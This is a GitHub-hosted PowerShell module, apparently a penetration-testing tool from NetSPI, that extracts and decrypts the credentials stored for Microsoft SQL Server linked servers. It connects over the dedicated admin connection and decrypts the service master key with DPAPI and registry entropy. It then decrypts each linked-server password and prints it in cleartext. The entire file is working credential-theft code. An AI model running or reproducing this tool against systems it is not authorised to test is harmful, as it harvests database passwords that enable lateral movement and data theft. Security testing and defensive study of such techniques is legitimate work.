-
Notifications
You must be signed in to change notification settings - Fork 101
/
Get-MSSQLLinkPasswords.psm1
138 lines (113 loc) · 5.73 KB
/
Get-MSSQLLinkPasswords.psm1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
function Get-MSSQLLinkPasswords{
<#
.SYNOPSIS
Extract and decrypt MSSQL linked server passwords.
Author: Antti Rantasaari 2014, NetSPI
License: BSD 3-Clause
.DESCRIPTION
Get-MSSQLLinkPasswords extracts and decrypts the connection credentials for all linked servers that use SQL Server authentication on all local MSSQL instances.
.INPUTS
None
.OUTPUTS
System.Data.DataRow
Returns a datatable consisting of MSSQL instance name, linked server name, user account, and decrypted password.
.EXAMPLE
C:\PS> Get-MSSQLLinkPasswords
Instance Linkserver User Password
-------- ---------- ---- --------
SQLEXPRESS SQLSERVER2 test test
SQLEXPRESS DEV-SQL dev Passw0rd01!
SQL2012 DEV-SQL dev Passw0rd01!
SQL2012 WEBDB sa W3bDB$4P4ssw0rd
SQL2012 VAULT sa !@#Sup3rS3cr3tP4$$w0rd!!$$
.NOTES
For successful execution, the following configurations and privileges are needed:
- DAC connectivity to MSSQL instances
- Local administrator privileges (needed to access registry key)
- Sysadmin privileges to MSSQL instances
.LINK
http://www.netspi.com/blog/
#>
Add-Type -assembly System.Security
Add-Type -assembly System.Core
# Set local computername and get all SQL Server instances
$ComputerName = $Env:computername
$SqlInstances = (Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server' -Name InstalledInstances).InstalledInstances
$Results = New-Object "System.Data.DataTable"
$Results.Columns.Add("Instance") | Out-Null
$Results.Columns.Add("Linkserver") | Out-Null
$Results.Columns.Add("User") | Out-Null
$Results.Columns.Add("Password") | Out-Null
foreach ($InstanceName in $SqlInstances) {
# Start DAC connection to SQL Server
# Default instance MSSQLSERVER -> instance name cannot be used in connection string
if ($InstanceName -eq "MSSQLSERVER") {
$ConnString = "Server=ADMIN:$ComputerName\;Trusted_Connection=True"
}
else {
$ConnString = "Server=ADMIN:$ComputerName\$InstanceName;Trusted_Connection=True"
}
$Conn = New-Object System.Data.SqlClient.SQLConnection($ConnString);
Try{$Conn.Open();}
Catch{
Write-Error "Error creating DAC connection: $_.Exception.Message"
Continue
}
if ($Conn.State -eq "Open"){
# Query Service Master Key from the database - remove padding from the key
# key_id 102 eq service master key, thumbprint 3 means encrypted with machinekey
$SqlCmd="SELECT substring(crypt_property,9,len(crypt_property)-8) FROM sys.key_encryptions WHERE key_id=102 and (thumbprint=0x03 or thumbprint=0x0300000001)"
$Cmd = New-Object System.Data.SqlClient.SqlCommand($SqlCmd,$Conn);
$SmkBytes=$Cmd.ExecuteScalar()
# Get entropy from the registry - hopefully finds the right SQL server instance
$RegPath = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\sql\").$InstanceName
[byte[]]$Entropy = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\$RegPath\Security\").Entropy
# Decrypt the service master key
$ServiceKey = [System.Security.Cryptography.ProtectedData]::Unprotect($SmkBytes, $Entropy, 'LocalMachine')
# Choose the encryption algorithm based on the SMK length - 3DES for 2008, AES for 2012
# Choose IV length based on the algorithm
if (($ServiceKey.Length -eq 16) -or ($ServiceKey.Length -eq 32)) {
if ($ServiceKey.Length -eq 16) {
$Decryptor = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider
$IvLen=8
} elseif ($ServiceKey.Length -eq 32){
$Decryptor = New-Object System.Security.Cryptography.AESCryptoServiceProvider
$IvLen=16
}
# Query link server password information from the DB
# Remove header from pwdhash, extract IV (as iv) and ciphertext (as pass)
# Ignore links with blank credentials (integrated auth ?)
$SqlCmd = "SELECT sysservers.srvname,syslnklgns.name,substring(syslnklgns.pwdhash,5,$ivlen) iv,substring(syslnklgns.pwdhash,$($ivlen+5),
len(syslnklgns.pwdhash)-$($ivlen+4)) pass FROM master.sys.syslnklgns inner join master.sys.sysservers on syslnklgns.srvid=sysservers.srvid WHERE len(pwdhash)>0"
$Cmd = New-Object System.Data.SqlClient.SqlCommand($SqlCmd,$Conn);
$Data=$Cmd.ExecuteReader()
$Dt = New-Object "System.Data.DataTable"
$Dt.Load($Data)
# Go through each row in results
foreach ($Logins in $Dt) {
# decrypt the password using the service master key and the extracted IV
$Decryptor.Padding = "None"
$Decrypt = $Decryptor.CreateDecryptor($ServiceKey,$Logins.iv)
$Stream = New-Object System.IO.MemoryStream (,$Logins.pass)
$Crypto = New-Object System.Security.Cryptography.CryptoStream $Stream,$Decrypt,"Write"
$Crypto.Write($Logins.pass,0,$Logins.pass.Length)
[byte[]]$Decrypted = $Stream.ToArray()
# convert decrypted password to unicode
$EncodingType = "System.Text.UnicodeEncoding"
$Encode = New-Object $EncodingType
# Print results - removing the weird padding (8 bytes in the front, some bytes at the end)...
# Might cause problems but so far seems to work.. may be dependant on SQL server version...
# If problems arise remove the next three lines..
$i=8
foreach ($b in $Decrypted) {if ($Decrypted[$i] -ne 0 -and $Decrypted[$i+1] -ne 0 -or $i -eq $Decrypted.Length) {$i -= 1; break;}; $i += 1;}
$Decrypted = $Decrypted[8..$i]
$Results.Rows.Add($InstanceName,$($Logins.srvname),$($Logins.name),$($Encode.GetString($Decrypted))) | Out-Null
}
} else {
Write-Error "Unknown key size"
}
$Conn.Close();
}
}
$Results
}